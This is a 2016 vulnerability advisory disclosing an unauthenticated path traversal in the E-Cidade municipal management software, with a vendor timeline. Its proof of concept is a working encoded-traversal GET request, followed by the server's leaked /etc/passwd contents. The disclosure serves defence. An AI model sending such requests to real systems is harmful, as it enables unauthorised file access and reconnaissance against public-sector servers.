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E-Cidade Directory Traversal

E-Cidade Directory Traversal
Posted Feb 22, 2016
Authored by vesp3r

E-Cidade suffers from a path traversal vulnerability.

tags | exploit
SHA-256 | 627a5e737562ff52b9fcd20e8d27159fb5a876854f062d1aa3897b98a610fd5a

E-Cidade Directory Traversal

Change Mirror Download
Vendor: DBSeller (www.dbseller.com.br)
Product: E-cidade - Software Publico de Gestão Municipal
Published: 02/19/2016
Discovered by vesp3r (vesp3r7c3@gmail.com)



Product Description
--------------------

Intended to computerize the management of Brazilian Municipalities.
This includes computerized integration between municipal entities: City Hall, Town Hall, Local Government, Foundations and others.
The economy of resources is only one of the advantages in the adoption of e-cidade and the freedom of choice of suppliers and ensuring
continuity of the system, once supported by the Ministry of Planning.

Advisory Timeline
-----------------

02/18/2016 - Vendor notified
02/19/2016 - Vendor asked for more details
02/19/2016 - Information and PoC sent
02/20/2016 - Advisory was published

Vulnerability
-------------
An unauthenticated user is able to access files and directories,
the vulnerability can be exploited by issuing a specially crafted HTTP GET
request utilizing a simple url encoding bypass(..%252f)

Proof of Concept
---------------

GET /e-cidade/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1
[Snip...]
Accept-Encoding: gzip, deflate
Connection: close




Response:

HTTP/1.1 200 OK
Date: Fri, 19 Feb 2016 02:27:29 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.14
Vary: Accept-Encoding
Content-Length: 1351
Connection: close
Content-Type: text/plain; charset=ISO-8859-1
X-Pad: avoid browser bug

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:108::/nonexistent:/bin/false
landscape:x:104:110::/var/lib/landscape:/bin/false
postgres:x:105:113:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ecidade:x:1001:1001:eCidade,,,:/home/ecidade:/bin/bash
dbseller:x:1000:1000:DBSeller,,,:/home/dbseller:/bin/bash
postfix:x:107:116::/var/spool/postfix:/bin/false






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